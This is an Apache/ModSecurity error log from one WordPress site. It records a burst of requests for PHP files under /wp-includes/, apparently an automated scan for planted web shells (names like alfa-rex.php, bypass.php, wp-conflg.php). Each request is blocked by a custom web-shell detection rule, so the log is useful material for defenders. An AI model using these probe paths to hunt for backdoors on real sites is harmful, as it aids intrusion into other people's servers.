[Sun Mar 15 04:36:40.230794 2026] [:error] [pid 38645:tid 38665] [client 98.159.43.148:33535] [client 98.159.43.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/install.php"] [unique_id "abXG2BFPHtsDUuVrWDZMjAAAANI"]
[Sun Mar 15 04:36:40.645485 2026] [:error] [pid 38645:tid 38647] [client 98.159.43.135:45145] [client 98.159.43.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "abXG2BFPHtsDUuVrWDZMmAAAAMA"]
[Sun Mar 15 04:36:41.031505 2026] [:error] [pid 9995:tid 10008] [client 98.159.43.129:26111] [client 98.159.43.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "abXG2Qa8xkcaSmgTbwi7tAAAAQo"]
[Sun Mar 15 04:36:41.625495 2026] [:error] [pid 38541:tid 38633] [client 98.159.43.138:39257] File does not exist: /usr/local/apache/htdocs/suspended-page/options-writing.php
[Sun Mar 15 04:36:42.044450 2026] [:error] [pid 38541:tid 38618] [client 98.159.43.138:39257] [client 98.159.43.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "abXG2nuOpex8jIO0jt7BGwAAAIU"]
[Sun Mar 15 04:36:42.446808 2026] [:error] [pid 38541:tid 38620] [client 98.159.43.152:58545] [client 98.159.43.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "abXG2nuOpex8jIO0jt7BIQAAAIc"]
[Sun Mar 15 04:36:42.937463 2026] [:error] [pid 9995:tid 10012] [client 98.159.43.150:64903] [client 98.159.43.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "abXG2ga8xkcaSmgTbwi71AAAAQ4"]
[Sun Mar 15 04:36:43.777555 2026] [:error] [pid 38541:tid 38628] [client 98.159.43.117:27761] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "abXG23uOpex8jIO0jt7BLgAAAI8"]
[Sun Mar 15 04:36:44.000426 2026] [:error] [pid 38645:tid 38656] [client 98.159.43.141:63779] [client 98.159.43.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "abXG2xFPHtsDUuVrWDZMvQAAAMk"]
[Sun Mar 15 04:36:44.252824 2026] [:error] [pid 38645:tid 38648] [client 98.159.43.156:57775] [client 98.159.43.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "abXG3BFPHtsDUuVrWDZMwQAAAME"]
[Sun Mar 15 04:36:44.430616 2026] [:error] [pid 38540:tid 38603] [client 98.159.43.120:60481] [client 98.159.43.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "abXG3F8bnHsJ1dE90bLZlAAAAFE"]
[Sun Mar 15 04:36:45.106168 2026] [:error] [pid 38541:tid 38636] [client 98.159.43.112:48279] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "abXG3XuOpex8jIO0jt7BOQAAAJc"]
[Sun Mar 15 04:36:45.836127 2026] [:error] [pid 38541:tid 38636] [client 98.159.43.133:21963] [client 98.159.43.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "abXG3XuOpex8jIO0jt7BSQAAAJc"]
[Sun Mar 15 04:36:46.393620 2026] [:error] [pid 38541:tid 38624] [client 98.159.43.157:37791] [client 98.159.43.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "abXG3nuOpex8jIO0jt7BUAAAAIs"]
[Sun Mar 15 04:36:46.574611 2026] [:error] [pid 38540:tid 38595] [client 98.159.43.150:46931] [client 98.159.43.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "abXG3l8bnHsJ1dE90bLZpwAAAEk"]
[Sun Mar 15 04:36:46.779510 2026] [:error] [pid 38540:tid 38606] [client 98.159.43.132:47205] [client 98.159.43.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "abXG3l8bnHsJ1dE90bLZqAAAAFQ"]
[Sun Mar 15 04:36:49.541941 2026] [:error] [pid 38645:tid 38663] [client 98.159.43.108:35147] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "abXG4RFPHtsDUuVrWDZM4AAAANA"]
[Sun Mar 15 04:36:49.776587 2026] [:error] [pid 38541:tid 38616] [client 98.159.43.139:50003] [client 98.159.43.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "abXG4XuOpex8jIO0jt7BdAAAAIM"]
[Sun Mar 15 04:36:50.026632 2026] [:error] [pid 38645:tid 38657] [client 98.159.43.123:56945] [client 98.159.43.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "abXG4hFPHtsDUuVrWDZM5QAAAMo"]
[Sun Mar 15 04:36:50.818147 2026] [:error] [pid 38541:tid 38635] [client 98.159.43.115:38471] [client 98.159.43.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "abXG4nuOpex8jIO0jt7BiAAAAJY"]
[Sun Mar 15 04:36:51.013456 2026] [:error] [pid 38536:tid 38555] [client 98.159.43.122:24549] [client 98.159.43.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "abXG4_pTEqkVJ0rBEWtq0wAAAAI"]
[Sun Mar 15 04:36:51.237643 2026] [:error] [pid 38536:tid 38563] [client 98.159.43.132:30603] [client 98.159.43.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/litespeed.php"] [unique_id "abXG4_pTEqkVJ0rBEWtq1AAAAAo"]
[Sun Mar 15 04:36:51.491621 2026] [:error] [pid 9995:tid 10007] [client 98.159.43.147:51901] [client 98.159.43.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/firewall.php"] [unique_id "abXG4wa8xkcaSmgTbwi8QAAAAQk"]
[Sun Mar 15 04:36:51.810961 2026] [:error] [pid 9995:tid 10006] [client 98.159.43.137:43023] [client 98.159.43.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID/rk2.php"] [unique_id "abXG4wa8xkcaSmgTbwi8RgAAAQg"]
[Sun Mar 15 04:36:52.026967 2026] [:error] [pid 9995:tid 10018] [client 98.159.43.146:41403] [client 98.159.43.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "abXG5Aa8xkcaSmgTbwi8SAAAARQ"]
[Sun Mar 15 04:36:52.248680 2026] [:error] [pid 38541:tid 38633] [client 98.159.43.119:58925] [client 98.159.43.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "abXG5HuOpex8jIO0jt7BkwAAAJQ"]
[Sun Mar 15 04:36:53.311989 2026] [:error] [pid 38536:tid 38574] [client 98.159.43.119:59043] [client 98.159.43.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "abXG5fpTEqkVJ0rBEWtq6wAAABU"]
[Sun Mar 15 04:36:53.807612 2026] [:error] [pid 38540:tid 38610] [client 98.159.43.154:21451] [client 98.159.43.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "abXG5V8bnHsJ1dE90bLZwgAAAFg"]
[Sun Mar 15 04:36:54.243187 2026] [:error] [pid 9995:tid 10012] [client 98.159.43.146:32163] [client 98.159.43.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "abXG5ga8xkcaSmgTbwi8VwAAAQ4"]
[Sun Mar 15 04:36:56.361007 2026] [:error] [pid 38645:tid 38666] [client 98.159.43.150:45131] [client 98.159.43.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "abXG6BFPHtsDUuVrWDZNMgAAANM"]
[Sun Mar 15 04:36:56.782637 2026] [:error] [pid 9995:tid 10007] [client 98.159.43.115:20407] [client 98.159.43.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ln/class-wp-widddget-pages.php"] [unique_id "abXG6Aa8xkcaSmgTbwi8dwAAAQk"]
[Sun Mar 15 04:36:57.361379 2026] [:error] [pid 38540:tid 38598] [client 98.159.43.134:45281] [client 98.159.43.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "abXG6V8bnHsJ1dE90bLZ0QAAAEw"]
[Sun Mar 15 04:36:58.335452 2026] [:error] [pid 38536:tid 38576] [client 98.159.43.140:56497] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "abXG6vpTEqkVJ0rBEWtrCQAAABc"]
[Sun Mar 15 04:36:59.180581 2026] [:error] [pid 9995:tid 10006] [client 98.159.43.108:20259] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/id/wp-work.php"] [unique_id "abXG6wa8xkcaSmgTbwi8pgAAAQg"]
[Sun Mar 15 04:36:59.499087 2026] [:error] [pid 38645:tid 38660] [client 98.159.43.136:49881] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/db.php"] [unique_id "abXG6xFPHtsDUuVrWDZNXgAAAM0"]
[Sun Mar 15 04:37:00.378644 2026] [:error] [pid 38541:tid 38627] [client 98.159.43.130:36275] [client 98.159.43.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "abXG7HuOpex8jIO0jt7BuAAAAI4"]
[Sun Mar 15 04:37:00.616043 2026] [:error] [pid 9995:tid 9999] [client 98.159.43.131:50223] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "abXG7Aa8xkcaSmgTbwi8rgAAAQE"]
[Sun Mar 15 04:37:01.012803 2026] [:error] [pid 38541:tid 38618] [client 98.159.43.148:60273] File does not exist: /usr/local/apache/htdocs/suspended-page/setup-config.php
[Sun Mar 15 04:37:01.118989 2026] [:error] [pid 38541:tid 38621] [client 98.159.43.148:60273] [client 98.159.43.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "abXG7XuOpex8jIO0jt7BxQAAAIg"]
[Sun Mar 15 04:37:01.513102 2026] [:error] [pid 38540:tid 38603] [client 98.159.43.131:38877] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "abXG7V8bnHsJ1dE90bLZ4wAAAFE"]
[Sun Mar 15 04:37:01.715205 2026] [:error] [pid 38645:tid 38653] [client 98.159.43.112:26989] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "abXG7RFPHtsDUuVrWDZNegAAAMY"]
[Sun Mar 15 04:37:02.754625 2026] [:error] [pid 38645:tid 38659] [client 98.159.43.153:63217] [client 98.159.43.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/count.php"] [unique_id "abXG7hFPHtsDUuVrWDZNhQAAAMw"]
[Sun Mar 15 04:37:03.335370 2026] [:error] [pid 38536:tid 38555] [client 98.159.43.135:40157] [client 98.159.43.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ln/class-wp-translations-library.php"] [unique_id "abXG7_pTEqkVJ0rBEWtrFgAAAAI"]
[Sun Mar 15 04:37:03.848769 2026] [:error] [pid 38540:tid 38610] [client 98.159.43.160:59899] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-atomx.php
[Sun Mar 15 04:37:03.945359 2026] [:error] [pid 38540:tid 38609] [client 98.159.43.160:59899] [client 98.159.43.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ln/class-wp-translations-interface.php"] [unique_id "abXG718bnHsJ1dE90bLZ-QAAAFc"]
[Sun Mar 15 04:37:05.640442 2026] [:error] [pid 38645:tid 38660] [client 98.159.43.162:27149] [client 98.159.43.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "abXG8RFPHtsDUuVrWDZNnQAAAM0"]
[Sun Mar 15 04:37:06.147906 2026] [:error] [pid 9995:tid 10002] [client 98.159.43.112:24285] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "abXG8ga8xkcaSmgTbwi81gAAAQQ"]
[Sun Mar 15 04:37:06.606063 2026] [:error] [pid 38645:tid 38663] [client 98.159.43.112:58051] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "abXG8hFPHtsDUuVrWDZNqAAAANA"]
[Sun Mar 15 04:37:06.885063 2026] [:error] [pid 38541:tid 38623] [client 98.159.43.114:21631] [client 98.159.43.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/aw.php"] [unique_id "abXG8nuOpex8jIO0jt7B2gAAAIo"]
[Sun Mar 15 04:37:07.371583 2026] [:error] [pid 38541:tid 38626] [client 98.159.43.113:59641] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/install.php"] [unique_id "abXG83uOpex8jIO0jt7B3QAAAI0"]
[Sun Mar 15 04:37:07.574367 2026] [:error] [pid 38645:tid 38647] [client 98.159.43.115:39325] [client 98.159.43.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "abXG8xFPHtsDUuVrWDZNsQAAAMA"]
[Sun Mar 15 04:37:07.764908 2026] [:error] [pid 38645:tid 38649] [client 98.159.43.114:38343] [client 98.159.43.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "abXG8xFPHtsDUuVrWDZNtwAAAMI"]
[Sun Mar 15 04:37:09.543810 2026] [:error] [pid 38645:tid 38664] [client 98.159.43.107:58357] [client 98.159.43.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "abXG9RFPHtsDUuVrWDZNxgAAANE"]
